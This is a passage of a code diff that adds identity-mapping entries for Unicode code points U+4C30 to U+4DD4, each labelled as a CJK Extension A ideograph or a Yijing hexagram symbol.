+ ["\u4C30", "\u4C30"], /* CJK Ideograph Extension A */
+ ["\u4C31", "\u4C31"], /* CJK Ideograph Extension A */
+ ["\u4C32", "\u4C32"], /* CJK Ideograph Extension A */
+ ["\u4C33", "\u4C33"], /* CJK Ideograph Extension A */
+ ["\u4C34", "\u4C34"], /* CJK Ideograph Extension A */
+ ["\u4C35", "\u4C35"], /* CJK Ideograph Extension A */
+ ["\u4C36", "\u4C36"], /* CJK Ideograph Extension A */
+ ["\u4C37", "\u4C37"], /* CJK Ideograph Extension A */
+ ["\u4C38", "\u4C38"], /* CJK Ideograph Extension A */
+ ["\u4C39", "\u4C39"], /* CJK Ideograph Extension A */
+ ["\u4C3A", "\u4C3A"], /* CJK Ideograph Extension A */
+ ["\u4C3B", "\u4C3B"], /* CJK Ideograph Extension A */
+ ["\u4C3C", "\u4C3C"], /* CJK Ideograph Extension A */
+ ["\u4C3D", "\u4C3D"], /* CJK Ideograph Extension A */
+ ["\u4C3E", "\u4C3E"], /* CJK Ideograph Extension A */
+ ["\u4C3F", "\u4C3F"], /* CJK Ideograph Extension A */
+ ["\u4C40", "\u4C40"], /* CJK Ideograph Extension A */
+ ["\u4C41", "\u4C41"], /* CJK Ideograph Extension A */
+ ["\u4C42", "\u4C42"], /* CJK Ideograph Extension A */
+ ["\u4C43", "\u4C43"], /* CJK Ideograph Extension A */
+ ["\u4C44", "\u4C44"], /* CJK Ideograph Extension A */
+ ["\u4C45", "\u4C45"], /* CJK Ideograph Extension A */
+ ["\u4C46", "\u4C46"], /* CJK Ideograph Extension A */
+ ["\u4C47", "\u4C47"], /* CJK Ideograph Extension A */
+ ["\u4C48", "\u4C48"], /* CJK Ideograph Extension A */
+ ["\u4C49", "\u4C49"], /* CJK Ideograph Extension A */
+ ["\u4C4A", "\u4C4A"], /* CJK Ideograph Extension A */
+ ["\u4C4B", "\u4C4B"], /* CJK Ideograph Extension A */
+ ["\u4C4C", "\u4C4C"], /* CJK Ideograph Extension A */
+ ["\u4C4D", "\u4C4D"], /* CJK Ideograph Extension A */
+ ["\u4C4E", "\u4C4E"], /* CJK Ideograph Extension A */
+ ["\u4C4F", "\u4C4F"], /* CJK Ideograph Extension A */
+ ["\u4C50", "\u4C50"], /* CJK Ideograph Extension A */
+ ["\u4C51", "\u4C51"], /* CJK Ideograph Extension A */
+ ["\u4C52", "\u4C52"], /* CJK Ideograph Extension A */
+ ["\u4C53", "\u4C53"], /* CJK Ideograph Extension A */
+ ["\u4C54", "\u4C54"], /* CJK Ideograph Extension A */
+ ["\u4C55", "\u4C55"], /* CJK Ideograph Extension A */
+ ["\u4C56", "\u4C56"], /* CJK Ideograph Extension A */
+ ["\u4C57", "\u4C57"], /* CJK Ideograph Extension A */
+ ["\u4C58", "\u4C58"], /* CJK Ideograph Extension A */
+ ["\u4C59", "\u4C59"], /* CJK Ideograph Extension A */
+ ["\u4C5A", "\u4C5A"], /* CJK Ideograph Extension A */
+ ["\u4C5B", "\u4C5B"], /* CJK Ideograph Extension A */
+ ["\u4C5C", "\u4C5C"], /* CJK Ideograph Extension A */
+ ["\u4C5D", "\u4C5D"], /* CJK Ideograph Extension A */
+ ["\u4C5E", "\u4C5E"], /* CJK Ideograph Extension A */
+ ["\u4C5F", "\u4C5F"], /* CJK Ideograph Extension A */
+ ["\u4C60", "\u4C60"], /* CJK Ideograph Extension A */
+ ["\u4C61", "\u4C61"], /* CJK Ideograph Extension A */
+ ["\u4C62", "\u4C62"], /* CJK Ideograph Extension A */
+ ["\u4C63", "\u4C63"], /* CJK Ideograph Extension A */
+ ["\u4C64", "\u4C64"], /* CJK Ideograph Extension A */
+ ["\u4C65", "\u4C65"], /* CJK Ideograph Extension A */
+ ["\u4C66", "\u4C66"], /* CJK Ideograph Extension A */
+ ["\u4C67", "\u4C67"], /* CJK Ideograph Extension A */
+ ["\u4C68", "\u4C68"], /* CJK Ideograph Extension A */
+ ["\u4C69", "\u4C69"], /* CJK Ideograph Extension A */
+ ["\u4C6A", "\u4C6A"], /* CJK Ideograph Extension A */
+ ["\u4C6B", "\u4C6B"], /* CJK Ideograph Extension A */
+ ["\u4C6C", "\u4C6C"], /* CJK Ideograph Extension A */
+ ["\u4C6D", "\u4C6D"], /* CJK Ideograph Extension A */
+ ["\u4C6E", "\u4C6E"], /* CJK Ideograph Extension A */
+ ["\u4C6F", "\u4C6F"], /* CJK Ideograph Extension A */
+ ["\u4C70", "\u4C70"], /* CJK Ideograph Extension A */
+ ["\u4C71", "\u4C71"], /* CJK Ideograph Extension A */
+ ["\u4C72", "\u4C72"], /* CJK Ideograph Extension A */
+ ["\u4C73", "\u4C73"], /* CJK Ideograph Extension A */
+ ["\u4C74", "\u4C74"], /* CJK Ideograph Extension A */
+ ["\u4C75", "\u4C75"], /* CJK Ideograph Extension A */
+ ["\u4C76", "\u4C76"], /* CJK Ideograph Extension A */
+ ["\u4C77", "\u4C77"], /* CJK Ideograph Extension A */
+ ["\u4C78", "\u4C78"], /* CJK Ideograph Extension A */
+ ["\u4C79", "\u4C79"], /* CJK Ideograph Extension A */
+ ["\u4C7A", "\u4C7A"], /* CJK Ideograph Extension A */
+ ["\u4C7B", "\u4C7B"], /* CJK Ideograph Extension A */
+ ["\u4C7C", "\u4C7C"], /* CJK Ideograph Extension A */
+ ["\u4C7D", "\u4C7D"], /* CJK Ideograph Extension A */
+ ["\u4C7E", "\u4C7E"], /* CJK Ideograph Extension A */
+ ["\u4C7F", "\u4C7F"], /* CJK Ideograph Extension A */
+ ["\u4C80", "\u4C80"], /* CJK Ideograph Extension A */
+ ["\u4C81", "\u4C81"], /* CJK Ideograph Extension A */
+ ["\u4C82", "\u4C82"], /* CJK Ideograph Extension A */
+ ["\u4C83", "\u4C83"], /* CJK Ideograph Extension A */
+ ["\u4C84", "\u4C84"], /* CJK Ideograph Extension A */
+ ["\u4C85", "\u4C85"], /* CJK Ideograph Extension A */
+ ["\u4C86", "\u4C86"], /* CJK Ideograph Extension A */
+ ["\u4C87", "\u4C87"], /* CJK Ideograph Extension A */
+ ["\u4C88", "\u4C88"], /* CJK Ideograph Extension A */
+ ["\u4C89", "\u4C89"], /* CJK Ideograph Extension A */
+ ["\u4C8A", "\u4C8A"], /* CJK Ideograph Extension A */
+ ["\u4C8B", "\u4C8B"], /* CJK Ideograph Extension A */
+ ["\u4C8C", "\u4C8C"], /* CJK Ideograph Extension A */
+ ["\u4C8D", "\u4C8D"], /* CJK Ideograph Extension A */
+ ["\u4C8E", "\u4C8E"], /* CJK Ideograph Extension A */
+ ["\u4C8F", "\u4C8F"], /* CJK Ideograph Extension A */
+ ["\u4C90", "\u4C90"], /* CJK Ideograph Extension A */
+ ["\u4C91", "\u4C91"], /* CJK Ideograph Extension A */
+ ["\u4C92", "\u4C92"], /* CJK Ideograph Extension A */
+ ["\u4C93", "\u4C93"], /* CJK Ideograph Extension A */
+ ["\u4C94", "\u4C94"], /* CJK Ideograph Extension A */
+ ["\u4C95", "\u4C95"], /* CJK Ideograph Extension A */
+ ["\u4C96", "\u4C96"], /* CJK Ideograph Extension A */
+ ["\u4C97", "\u4C97"], /* CJK Ideograph Extension A */
+ ["\u4C98", "\u4C98"], /* CJK Ideograph Extension A */
+ ["\u4C99", "\u4C99"], /* CJK Ideograph Extension A */
+ ["\u4C9A", "\u4C9A"], /* CJK Ideograph Extension A */
+ ["\u4C9B", "\u4C9B"], /* CJK Ideograph Extension A */
+ ["\u4C9C", "\u4C9C"], /* CJK Ideograph Extension A */
+ ["\u4C9D", "\u4C9D"], /* CJK Ideograph Extension A */
+ ["\u4C9E", "\u4C9E"], /* CJK Ideograph Extension A */
+ ["\u4C9F", "\u4C9F"], /* CJK Ideograph Extension A */
+ ["\u4CA0", "\u4CA0"], /* CJK Ideograph Extension A */
+ ["\u4CA1", "\u4CA1"], /* CJK Ideograph Extension A */
+ ["\u4CA2", "\u4CA2"], /* CJK Ideograph Extension A */
+ ["\u4CA3", "\u4CA3"], /* CJK Ideograph Extension A */
+ ["\u4CA4", "\u4CA4"], /* CJK Ideograph Extension A */
+ ["\u4CA5", "\u4CA5"], /* CJK Ideograph Extension A */
+ ["\u4CA6", "\u4CA6"], /* CJK Ideograph Extension A */
+ ["\u4CA7", "\u4CA7"], /* CJK Ideograph Extension A */
+ ["\u4CA8", "\u4CA8"], /* CJK Ideograph Extension A */
+ ["\u4CA9", "\u4CA9"], /* CJK Ideograph Extension A */
+ ["\u4CAA", "\u4CAA"], /* CJK Ideograph Extension A */
+ ["\u4CAB", "\u4CAB"], /* CJK Ideograph Extension A */
+ ["\u4CAC", "\u4CAC"], /* CJK Ideograph Extension A */
+ ["\u4CAD", "\u4CAD"], /* CJK Ideograph Extension A */
+ ["\u4CAE", "\u4CAE"], /* CJK Ideograph Extension A */
+ ["\u4CAF", "\u4CAF"], /* CJK Ideograph Extension A */
+ ["\u4CB0", "\u4CB0"], /* CJK Ideograph Extension A */
+ ["\u4CB1", "\u4CB1"], /* CJK Ideograph Extension A */
+ ["\u4CB2", "\u4CB2"], /* CJK Ideograph Extension A */
+ ["\u4CB3", "\u4CB3"], /* CJK Ideograph Extension A */
+ ["\u4CB4", "\u4CB4"], /* CJK Ideograph Extension A */
+ ["\u4CB5", "\u4CB5"], /* CJK Ideograph Extension A */
+ ["\u4CB6", "\u4CB6"], /* CJK Ideograph Extension A */
+ ["\u4CB7", "\u4CB7"], /* CJK Ideograph Extension A */
+ ["\u4CB8", "\u4CB8"], /* CJK Ideograph Extension A */
+ ["\u4CB9", "\u4CB9"], /* CJK Ideograph Extension A */
+ ["\u4CBA", "\u4CBA"], /* CJK Ideograph Extension A */
+ ["\u4CBB", "\u4CBB"], /* CJK Ideograph Extension A */
+ ["\u4CBC", "\u4CBC"], /* CJK Ideograph Extension A */
+ ["\u4CBD", "\u4CBD"], /* CJK Ideograph Extension A */
+ ["\u4CBE", "\u4CBE"], /* CJK Ideograph Extension A */
+ ["\u4CBF", "\u4CBF"], /* CJK Ideograph Extension A */
+ ["\u4CC0", "\u4CC0"], /* CJK Ideograph Extension A */
+ ["\u4CC1", "\u4CC1"], /* CJK Ideograph Extension A */
+ ["\u4CC2", "\u4CC2"], /* CJK Ideograph Extension A */
+ ["\u4CC3", "\u4CC3"], /* CJK Ideograph Extension A */
+ ["\u4CC4", "\u4CC4"], /* CJK Ideograph Extension A */
+ ["\u4CC5", "\u4CC5"], /* CJK Ideograph Extension A */
+ ["\u4CC6", "\u4CC6"], /* CJK Ideograph Extension A */
+ ["\u4CC7", "\u4CC7"], /* CJK Ideograph Extension A */
+ ["\u4CC8", "\u4CC8"], /* CJK Ideograph Extension A */
+ ["\u4CC9", "\u4CC9"], /* CJK Ideograph Extension A */
+ ["\u4CCA", "\u4CCA"], /* CJK Ideograph Extension A */
+ ["\u4CCB", "\u4CCB"], /* CJK Ideograph Extension A */
+ ["\u4CCC", "\u4CCC"], /* CJK Ideograph Extension A */
+ ["\u4CCD", "\u4CCD"], /* CJK Ideograph Extension A */
+ ["\u4CCE", "\u4CCE"], /* CJK Ideograph Extension A */
+ ["\u4CCF", "\u4CCF"], /* CJK Ideograph Extension A */
+ ["\u4CD0", "\u4CD0"], /* CJK Ideograph Extension A */
+ ["\u4CD1", "\u4CD1"], /* CJK Ideograph Extension A */
+ ["\u4CD2", "\u4CD2"], /* CJK Ideograph Extension A */
+ ["\u4CD3", "\u4CD3"], /* CJK Ideograph Extension A */
+ ["\u4CD4", "\u4CD4"], /* CJK Ideograph Extension A */
+ ["\u4CD5", "\u4CD5"], /* CJK Ideograph Extension A */
+ ["\u4CD6", "\u4CD6"], /* CJK Ideograph Extension A */
+ ["\u4CD7", "\u4CD7"], /* CJK Ideograph Extension A */
+ ["\u4CD8", "\u4CD8"], /* CJK Ideograph Extension A */
+ ["\u4CD9", "\u4CD9"], /* CJK Ideograph Extension A */
+ ["\u4CDA", "\u4CDA"], /* CJK Ideograph Extension A */
+ ["\u4CDB", "\u4CDB"], /* CJK Ideograph Extension A */
+ ["\u4CDC", "\u4CDC"], /* CJK Ideograph Extension A */
+ ["\u4CDD", "\u4CDD"], /* CJK Ideograph Extension A */
+ ["\u4CDE", "\u4CDE"], /* CJK Ideograph Extension A */
+ ["\u4CDF", "\u4CDF"], /* CJK Ideograph Extension A */
+ ["\u4CE0", "\u4CE0"], /* CJK Ideograph Extension A */
+ ["\u4CE1", "\u4CE1"], /* CJK Ideograph Extension A */
+ ["\u4CE2", "\u4CE2"], /* CJK Ideograph Extension A */
+ ["\u4CE3", "\u4CE3"], /* CJK Ideograph Extension A */
+ ["\u4CE4", "\u4CE4"], /* CJK Ideograph Extension A */
+ ["\u4CE5", "\u4CE5"], /* CJK Ideograph Extension A */
+ ["\u4CE6", "\u4CE6"], /* CJK Ideograph Extension A */
+ ["\u4CE7", "\u4CE7"], /* CJK Ideograph Extension A */
+ ["\u4CE8", "\u4CE8"], /* CJK Ideograph Extension A */
+ ["\u4CE9", "\u4CE9"], /* CJK Ideograph Extension A */
+ ["\u4CEA", "\u4CEA"], /* CJK Ideograph Extension A */
+ ["\u4CEB", "\u4CEB"], /* CJK Ideograph Extension A */
+ ["\u4CEC", "\u4CEC"], /* CJK Ideograph Extension A */
+ ["\u4CED", "\u4CED"], /* CJK Ideograph Extension A */
+ ["\u4CEE", "\u4CEE"], /* CJK Ideograph Extension A */
+ ["\u4CEF", "\u4CEF"], /* CJK Ideograph Extension A */
+ ["\u4CF0", "\u4CF0"], /* CJK Ideograph Extension A */
+ ["\u4CF1", "\u4CF1"], /* CJK Ideograph Extension A */
+ ["\u4CF2", "\u4CF2"], /* CJK Ideograph Extension A */
+ ["\u4CF3", "\u4CF3"], /* CJK Ideograph Extension A */
+ ["\u4CF4", "\u4CF4"], /* CJK Ideograph Extension A */
+ ["\u4CF5", "\u4CF5"], /* CJK Ideograph Extension A */
+ ["\u4CF6", "\u4CF6"], /* CJK Ideograph Extension A */
+ ["\u4CF7", "\u4CF7"], /* CJK Ideograph Extension A */
+ ["\u4CF8", "\u4CF8"], /* CJK Ideograph Extension A */
+ ["\u4CF9", "\u4CF9"], /* CJK Ideograph Extension A */
+ ["\u4CFA", "\u4CFA"], /* CJK Ideograph Extension A */
+ ["\u4CFB", "\u4CFB"], /* CJK Ideograph Extension A */
+ ["\u4CFC", "\u4CFC"], /* CJK Ideograph Extension A */
+ ["\u4CFD", "\u4CFD"], /* CJK Ideograph Extension A */
+ ["\u4CFE", "\u4CFE"], /* CJK Ideograph Extension A */
+ ["\u4CFF", "\u4CFF"], /* CJK Ideograph Extension A */
+ ["\u4D00", "\u4D00"], /* CJK Ideograph Extension A */
+ ["\u4D01", "\u4D01"], /* CJK Ideograph Extension A */
+ ["\u4D02", "\u4D02"], /* CJK Ideograph Extension A */
+ ["\u4D03", "\u4D03"], /* CJK Ideograph Extension A */
+ ["\u4D04", "\u4D04"], /* CJK Ideograph Extension A */
+ ["\u4D05", "\u4D05"], /* CJK Ideograph Extension A */
+ ["\u4D06", "\u4D06"], /* CJK Ideograph Extension A */
+ ["\u4D07", "\u4D07"], /* CJK Ideograph Extension A */
+ ["\u4D08", "\u4D08"], /* CJK Ideograph Extension A */
+ ["\u4D09", "\u4D09"], /* CJK Ideograph Extension A */
+ ["\u4D0A", "\u4D0A"], /* CJK Ideograph Extension A */
+ ["\u4D0B", "\u4D0B"], /* CJK Ideograph Extension A */
+ ["\u4D0C", "\u4D0C"], /* CJK Ideograph Extension A */
+ ["\u4D0D", "\u4D0D"], /* CJK Ideograph Extension A */
+ ["\u4D0E", "\u4D0E"], /* CJK Ideograph Extension A */
+ ["\u4D0F", "\u4D0F"], /* CJK Ideograph Extension A */
+ ["\u4D10", "\u4D10"], /* CJK Ideograph Extension A */
+ ["\u4D11", "\u4D11"], /* CJK Ideograph Extension A */
+ ["\u4D12", "\u4D12"], /* CJK Ideograph Extension A */
+ ["\u4D13", "\u4D13"], /* CJK Ideograph Extension A */
+ ["\u4D14", "\u4D14"], /* CJK Ideograph Extension A */
+ ["\u4D15", "\u4D15"], /* CJK Ideograph Extension A */
+ ["\u4D16", "\u4D16"], /* CJK Ideograph Extension A */
+ ["\u4D17", "\u4D17"], /* CJK Ideograph Extension A */
+ ["\u4D18", "\u4D18"], /* CJK Ideograph Extension A */
+ ["\u4D19", "\u4D19"], /* CJK Ideograph Extension A */
+ ["\u4D1A", "\u4D1A"], /* CJK Ideograph Extension A */
+ ["\u4D1B", "\u4D1B"], /* CJK Ideograph Extension A */
+ ["\u4D1C", "\u4D1C"], /* CJK Ideograph Extension A */
+ ["\u4D1D", "\u4D1D"], /* CJK Ideograph Extension A */
+ ["\u4D1E", "\u4D1E"], /* CJK Ideograph Extension A */
+ ["\u4D1F", "\u4D1F"], /* CJK Ideograph Extension A */
+ ["\u4D20", "\u4D20"], /* CJK Ideograph Extension A */
+ ["\u4D21", "\u4D21"], /* CJK Ideograph Extension A */
+ ["\u4D22", "\u4D22"], /* CJK Ideograph Extension A */
+ ["\u4D23", "\u4D23"], /* CJK Ideograph Extension A */
+ ["\u4D24", "\u4D24"], /* CJK Ideograph Extension A */
+ ["\u4D25", "\u4D25"], /* CJK Ideograph Extension A */
+ ["\u4D26", "\u4D26"], /* CJK Ideograph Extension A */
+ ["\u4D27", "\u4D27"], /* CJK Ideograph Extension A */
+ ["\u4D28", "\u4D28"], /* CJK Ideograph Extension A */
+ ["\u4D29", "\u4D29"], /* CJK Ideograph Extension A */
+ ["\u4D2A", "\u4D2A"], /* CJK Ideograph Extension A */
+ ["\u4D2B", "\u4D2B"], /* CJK Ideograph Extension A */
+ ["\u4D2C", "\u4D2C"], /* CJK Ideograph Extension A */
+ ["\u4D2D", "\u4D2D"], /* CJK Ideograph Extension A */
+ ["\u4D2E", "\u4D2E"], /* CJK Ideograph Extension A */
+ ["\u4D2F", "\u4D2F"], /* CJK Ideograph Extension A */
+ ["\u4D30", "\u4D30"], /* CJK Ideograph Extension A */
+ ["\u4D31", "\u4D31"], /* CJK Ideograph Extension A */
+ ["\u4D32", "\u4D32"], /* CJK Ideograph Extension A */
+ ["\u4D33", "\u4D33"], /* CJK Ideograph Extension A */
+ ["\u4D34", "\u4D34"], /* CJK Ideograph Extension A */
+ ["\u4D35", "\u4D35"], /* CJK Ideograph Extension A */
+ ["\u4D36", "\u4D36"], /* CJK Ideograph Extension A */
+ ["\u4D37", "\u4D37"], /* CJK Ideograph Extension A */
+ ["\u4D38", "\u4D38"], /* CJK Ideograph Extension A */
+ ["\u4D39", "\u4D39"], /* CJK Ideograph Extension A */
+ ["\u4D3A", "\u4D3A"], /* CJK Ideograph Extension A */
+ ["\u4D3B", "\u4D3B"], /* CJK Ideograph Extension A */
+ ["\u4D3C", "\u4D3C"], /* CJK Ideograph Extension A */
+ ["\u4D3D", "\u4D3D"], /* CJK Ideograph Extension A */
+ ["\u4D3E", "\u4D3E"], /* CJK Ideograph Extension A */
+ ["\u4D3F", "\u4D3F"], /* CJK Ideograph Extension A */
+ ["\u4D40", "\u4D40"], /* CJK Ideograph Extension A */
+ ["\u4D41", "\u4D41"], /* CJK Ideograph Extension A */
+ ["\u4D42", "\u4D42"], /* CJK Ideograph Extension A */
+ ["\u4D43", "\u4D43"], /* CJK Ideograph Extension A */
+ ["\u4D44", "\u4D44"], /* CJK Ideograph Extension A */
+ ["\u4D45", "\u4D45"], /* CJK Ideograph Extension A */
+ ["\u4D46", "\u4D46"], /* CJK Ideograph Extension A */
+ ["\u4D47", "\u4D47"], /* CJK Ideograph Extension A */
+ ["\u4D48", "\u4D48"], /* CJK Ideograph Extension A */
+ ["\u4D49", "\u4D49"], /* CJK Ideograph Extension A */
+ ["\u4D4A", "\u4D4A"], /* CJK Ideograph Extension A */
+ ["\u4D4B", "\u4D4B"], /* CJK Ideograph Extension A */
+ ["\u4D4C", "\u4D4C"], /* CJK Ideograph Extension A */
+ ["\u4D4D", "\u4D4D"], /* CJK Ideograph Extension A */
+ ["\u4D4E", "\u4D4E"], /* CJK Ideograph Extension A */
+ ["\u4D4F", "\u4D4F"], /* CJK Ideograph Extension A */
+ ["\u4D50", "\u4D50"], /* CJK Ideograph Extension A */
+ ["\u4D51", "\u4D51"], /* CJK Ideograph Extension A */
+ ["\u4D52", "\u4D52"], /* CJK Ideograph Extension A */
+ ["\u4D53", "\u4D53"], /* CJK Ideograph Extension A */
+ ["\u4D54", "\u4D54"], /* CJK Ideograph Extension A */
+ ["\u4D55", "\u4D55"], /* CJK Ideograph Extension A */
+ ["\u4D56", "\u4D56"], /* CJK Ideograph Extension A */
+ ["\u4D57", "\u4D57"], /* CJK Ideograph Extension A */
+ ["\u4D58", "\u4D58"], /* CJK Ideograph Extension A */
+ ["\u4D59", "\u4D59"], /* CJK Ideograph Extension A */
+ ["\u4D5A", "\u4D5A"], /* CJK Ideograph Extension A */
+ ["\u4D5B", "\u4D5B"], /* CJK Ideograph Extension A */
+ ["\u4D5C", "\u4D5C"], /* CJK Ideograph Extension A */
+ ["\u4D5D", "\u4D5D"], /* CJK Ideograph Extension A */
+ ["\u4D5E", "\u4D5E"], /* CJK Ideograph Extension A */
+ ["\u4D5F", "\u4D5F"], /* CJK Ideograph Extension A */
+ ["\u4D60", "\u4D60"], /* CJK Ideograph Extension A */
+ ["\u4D61", "\u4D61"], /* CJK Ideograph Extension A */
+ ["\u4D62", "\u4D62"], /* CJK Ideograph Extension A */
+ ["\u4D63", "\u4D63"], /* CJK Ideograph Extension A */
+ ["\u4D64", "\u4D64"], /* CJK Ideograph Extension A */
+ ["\u4D65", "\u4D65"], /* CJK Ideograph Extension A */
+ ["\u4D66", "\u4D66"], /* CJK Ideograph Extension A */
+ ["\u4D67", "\u4D67"], /* CJK Ideograph Extension A */
+ ["\u4D68", "\u4D68"], /* CJK Ideograph Extension A */
+ ["\u4D69", "\u4D69"], /* CJK Ideograph Extension A */
+ ["\u4D6A", "\u4D6A"], /* CJK Ideograph Extension A */
+ ["\u4D6B", "\u4D6B"], /* CJK Ideograph Extension A */
+ ["\u4D6C", "\u4D6C"], /* CJK Ideograph Extension A */
+ ["\u4D6D", "\u4D6D"], /* CJK Ideograph Extension A */
+ ["\u4D6E", "\u4D6E"], /* CJK Ideograph Extension A */
+ ["\u4D6F", "\u4D6F"], /* CJK Ideograph Extension A */
+ ["\u4D70", "\u4D70"], /* CJK Ideograph Extension A */
+ ["\u4D71", "\u4D71"], /* CJK Ideograph Extension A */
+ ["\u4D72", "\u4D72"], /* CJK Ideograph Extension A */
+ ["\u4D73", "\u4D73"], /* CJK Ideograph Extension A */
+ ["\u4D74", "\u4D74"], /* CJK Ideograph Extension A */
+ ["\u4D75", "\u4D75"], /* CJK Ideograph Extension A */
+ ["\u4D76", "\u4D76"], /* CJK Ideograph Extension A */
+ ["\u4D77", "\u4D77"], /* CJK Ideograph Extension A */
+ ["\u4D78", "\u4D78"], /* CJK Ideograph Extension A */
+ ["\u4D79", "\u4D79"], /* CJK Ideograph Extension A */
+ ["\u4D7A", "\u4D7A"], /* CJK Ideograph Extension A */
+ ["\u4D7B", "\u4D7B"], /* CJK Ideograph Extension A */
+ ["\u4D7C", "\u4D7C"], /* CJK Ideograph Extension A */
+ ["\u4D7D", "\u4D7D"], /* CJK Ideograph Extension A */
+ ["\u4D7E", "\u4D7E"], /* CJK Ideograph Extension A */
+ ["\u4D7F", "\u4D7F"], /* CJK Ideograph Extension A */
+ ["\u4D80", "\u4D80"], /* CJK Ideograph Extension A */
+ ["\u4D81", "\u4D81"], /* CJK Ideograph Extension A */
+ ["\u4D82", "\u4D82"], /* CJK Ideograph Extension A */
+ ["\u4D83", "\u4D83"], /* CJK Ideograph Extension A */
+ ["\u4D84", "\u4D84"], /* CJK Ideograph Extension A */
+ ["\u4D85", "\u4D85"], /* CJK Ideograph Extension A */
+ ["\u4D86", "\u4D86"], /* CJK Ideograph Extension A */
+ ["\u4D87", "\u4D87"], /* CJK Ideograph Extension A */
+ ["\u4D88", "\u4D88"], /* CJK Ideograph Extension A */
+ ["\u4D89", "\u4D89"], /* CJK Ideograph Extension A */
+ ["\u4D8A", "\u4D8A"], /* CJK Ideograph Extension A */
+ ["\u4D8B", "\u4D8B"], /* CJK Ideograph Extension A */
+ ["\u4D8C", "\u4D8C"], /* CJK Ideograph Extension A */
+ ["\u4D8D", "\u4D8D"], /* CJK Ideograph Extension A */
+ ["\u4D8E", "\u4D8E"], /* CJK Ideograph Extension A */
+ ["\u4D8F", "\u4D8F"], /* CJK Ideograph Extension A */
+ ["\u4D90", "\u4D90"], /* CJK Ideograph Extension A */
+ ["\u4D91", "\u4D91"], /* CJK Ideograph Extension A */
+ ["\u4D92", "\u4D92"], /* CJK Ideograph Extension A */
+ ["\u4D93", "\u4D93"], /* CJK Ideograph Extension A */
+ ["\u4D94", "\u4D94"], /* CJK Ideograph Extension A */
+ ["\u4D95", "\u4D95"], /* CJK Ideograph Extension A */
+ ["\u4D96", "\u4D96"], /* CJK Ideograph Extension A */
+ ["\u4D97", "\u4D97"], /* CJK Ideograph Extension A */
+ ["\u4D98", "\u4D98"], /* CJK Ideograph Extension A */
+ ["\u4D99", "\u4D99"], /* CJK Ideograph Extension A */
+ ["\u4D9A", "\u4D9A"], /* CJK Ideograph Extension A */
+ ["\u4D9B", "\u4D9B"], /* CJK Ideograph Extension A */
+ ["\u4D9C", "\u4D9C"], /* CJK Ideograph Extension A */
+ ["\u4D9D", "\u4D9D"], /* CJK Ideograph Extension A */
+ ["\u4D9E", "\u4D9E"], /* CJK Ideograph Extension A */
+ ["\u4D9F", "\u4D9F"], /* CJK Ideograph Extension A */
+ ["\u4DA0", "\u4DA0"], /* CJK Ideograph Extension A */
+ ["\u4DA1", "\u4DA1"], /* CJK Ideograph Extension A */
+ ["\u4DA2", "\u4DA2"], /* CJK Ideograph Extension A */
+ ["\u4DA3", "\u4DA3"], /* CJK Ideograph Extension A */
+ ["\u4DA4", "\u4DA4"], /* CJK Ideograph Extension A */
+ ["\u4DA5", "\u4DA5"], /* CJK Ideograph Extension A */
+ ["\u4DA6", "\u4DA6"], /* CJK Ideograph Extension A */
+ ["\u4DA7", "\u4DA7"], /* CJK Ideograph Extension A */
+ ["\u4DA8", "\u4DA8"], /* CJK Ideograph Extension A */
+ ["\u4DA9", "\u4DA9"], /* CJK Ideograph Extension A */
+ ["\u4DAA", "\u4DAA"], /* CJK Ideograph Extension A */
+ ["\u4DAB", "\u4DAB"], /* CJK Ideograph Extension A */
+ ["\u4DAC", "\u4DAC"], /* CJK Ideograph Extension A */
+ ["\u4DAD", "\u4DAD"], /* CJK Ideograph Extension A */
+ ["\u4DAE", "\u4DAE"], /* CJK Ideograph Extension A */
+ ["\u4DAF", "\u4DAF"], /* CJK Ideograph Extension A */
+ ["\u4DB0", "\u4DB0"], /* CJK Ideograph Extension A */
+ ["\u4DB1", "\u4DB1"], /* CJK Ideograph Extension A */
+ ["\u4DB2", "\u4DB2"], /* CJK Ideograph Extension A */
+ ["\u4DB3", "\u4DB3"], /* CJK Ideograph Extension A */
+ ["\u4DB4", "\u4DB4"], /* CJK Ideograph Extension A */
+ ["\u4DB5", "\u4DB5"], /* CJK Ideograph Extension A */
+ ["\u4DB6", "\u4DB6"], /* CJK Ideograph Extension A */
+ ["\u4DB7", "\u4DB7"], /* CJK Ideograph Extension A */
+ ["\u4DB8", "\u4DB8"], /* CJK Ideograph Extension A */
+ ["\u4DB9", "\u4DB9"], /* CJK Ideograph Extension A */
+ ["\u4DBA", "\u4DBA"], /* CJK Ideograph Extension A */
+ ["\u4DBB", "\u4DBB"], /* CJK Ideograph Extension A */
+ ["\u4DBC", "\u4DBC"], /* CJK Ideograph Extension A */
+ ["\u4DBD", "\u4DBD"], /* CJK Ideograph Extension A */
+ ["\u4DBE", "\u4DBE"], /* CJK Ideograph Extension A */
+ ["\u4DBF", "\u4DBF"], /* CJK Ideograph Extension A */
+ ["\u4DC0", "\u4DC0"], /* HEXAGRAM FOR THE CREATIVE HEAVEN */
+ ["\u4DC1", "\u4DC1"], /* HEXAGRAM FOR THE RECEPTIVE EARTH */
+ ["\u4DC2", "\u4DC2"], /* HEXAGRAM FOR DIFFICULTY AT THE BEGINNING */
+ ["\u4DC3", "\u4DC3"], /* HEXAGRAM FOR YOUTHFUL FOLLY */
+ ["\u4DC4", "\u4DC4"], /* HEXAGRAM FOR WAITING */
+ ["\u4DC5", "\u4DC5"], /* HEXAGRAM FOR CONFLICT */
+ ["\u4DC6", "\u4DC6"], /* HEXAGRAM FOR THE ARMY */
+ ["\u4DC7", "\u4DC7"], /* HEXAGRAM FOR HOLDING TOGETHER */
+ ["\u4DC8", "\u4DC8"], /* HEXAGRAM FOR SMALL TAMING */
+ ["\u4DC9", "\u4DC9"], /* HEXAGRAM FOR TREADING */
+ ["\u4DCA", "\u4DCA"], /* HEXAGRAM FOR PEACE */
+ ["\u4DCB", "\u4DCB"], /* HEXAGRAM FOR STANDSTILL */
+ ["\u4DCC", "\u4DCC"], /* HEXAGRAM FOR FELLOWSHIP */
+ ["\u4DCD", "\u4DCD"], /* HEXAGRAM FOR GREAT POSSESSION */
+ ["\u4DCE", "\u4DCE"], /* HEXAGRAM FOR MODESTY */
+ ["\u4DCF", "\u4DCF"], /* HEXAGRAM FOR ENTHUSIASM */
+ ["\u4DD0", "\u4DD0"], /* HEXAGRAM FOR FOLLOWING */
+ ["\u4DD1", "\u4DD1"], /* HEXAGRAM FOR WORK ON THE DECAYED */
+ ["\u4DD2", "\u4DD2"], /* HEXAGRAM FOR APPROACH */
+ ["\u4DD3", "\u4DD3"], /* HEXAGRAM FOR CONTEMPLATION */
+ ["\u4DD4", "\u4DD4"], /* HEXAGRAM FOR BITING THROUGH */
